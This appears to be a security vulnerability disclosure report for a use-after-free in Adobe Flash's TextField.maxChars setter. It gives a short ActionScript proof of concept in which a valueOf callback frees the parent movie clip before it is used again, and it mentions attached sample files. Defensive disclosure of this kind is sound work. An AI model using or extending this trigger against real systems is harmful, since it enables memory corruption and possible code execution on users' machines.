There is a use-after-free in the TextField.maxChars setter. If the maxChars the field is set to is an object with valueOf defined, the valueOf function can free the field's parent object, which is then used. A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.maxChars = {valueOf : func};

function func(){

        if (times == 0){
            times++;
            return 7;
        }
	mc.removeMovieClip();

        // Fix heap here

	return 7;
	
	}

A sample swf and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
 

tabIndex.swf 324 KB Download

tabIndex.fla 283 KB Download